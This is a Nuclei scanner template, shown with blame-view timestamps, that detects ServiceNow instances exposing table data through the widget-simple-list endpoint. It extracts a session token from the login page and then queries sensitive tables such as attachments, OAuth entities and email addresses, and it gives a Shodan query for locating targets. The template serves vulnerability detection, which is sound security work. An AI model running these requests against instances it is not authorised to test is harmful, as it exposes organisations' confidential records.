2023-10-16 06:23:09 +00:00
|
|
|
id: servicenow-widget-misconfig
|
|
|
|
|
|
|
|
info:
|
2023-10-17 06:09:40 +00:00
|
|
|
name: ServiceNow Widget-Simple-List - Misconfiguration
|
2023-10-16 06:23:09 +00:00
|
|
|
author: DhiyaneshDk
|
|
|
|
severity: unknown
|
|
|
|
reference:
|
|
|
|
- https://github.com/bsysop/servicenow
|
|
|
|
- https://twitter.com/ConspiracyProof/status/1713270026046685272
|
|
|
|
- https://www.enumerated.ie/servicenow-data-exposure
|
|
|
|
metadata:
|
2023-10-17 06:25:06 +00:00
|
|
|
verified: true
|
2023-10-16 06:23:09 +00:00
|
|
|
max-request: 20
|
|
|
|
shodan-query: title:"servicenow"
|
|
|
|
tags: servicenow,widget,misconfig
|
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET / HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
- |
|
2023-10-17 07:15:52 +00:00
|
|
|
GET /login.do HTTP/1.1
|
2023-10-16 06:23:09 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
- |
|
2023-10-17 07:15:52 +00:00
|
|
|
POST /api/now/sp/widget/widget-simple-list?{{table_list}} HTTP/1.1
|
2023-10-16 06:23:09 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept: application/json
|
|
|
|
X-UserToken: {{user-token}}
|
|
|
|
Content-Type: application/json
|
|
|
|
|
|
|
|
{}
|
|
|
|
|
|
|
|
cookie-reuse: true
|
2023-10-17 07:15:52 +00:00
|
|
|
payloads:
|
|
|
|
table_list:
|
|
|
|
- t=kb_knowledge&f=text
|
|
|
|
- t=cmdb_model&f=name
|
|
|
|
- t=cmn_department&f=app_name
|
|
|
|
- t=licensable_app&f=app_name
|
|
|
|
- t=alm_asset&f=display_name
|
|
|
|
- t=sys_attachment&f=file_name
|
|
|
|
- t=sys_attachment_doc&f=data
|
|
|
|
- t=oauth_entity&f=name
|
|
|
|
- t=cmn_cost_center&f=name
|
|
|
|
- t=cmdb_model&f=name
|
|
|
|
- t=sc_cat_item&f=name
|
|
|
|
- t=sn_admin_center_application&f-name
|
|
|
|
- t=cmn_company&f=name
|
|
|
|
- t=sys_email_attachment&f=email
|
|
|
|
- t=sys_email_attachment&f=attachment
|
|
|
|
- t=cmn_notif_device&f=email_address
|
|
|
|
- t=sys_portal_age&f=display_name
|
|
|
|
- t=incident&f=short_description
|
|
|
|
|
2023-10-16 06:23:09 +00:00
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- '"isValid":true'
|
|
|
|
- '"count":'
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: user-token
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- var g_ck = '([0-9a-z]+)'
|
|
|
|
internal: true
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
part: body
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- '"count":([0-9]+),'
|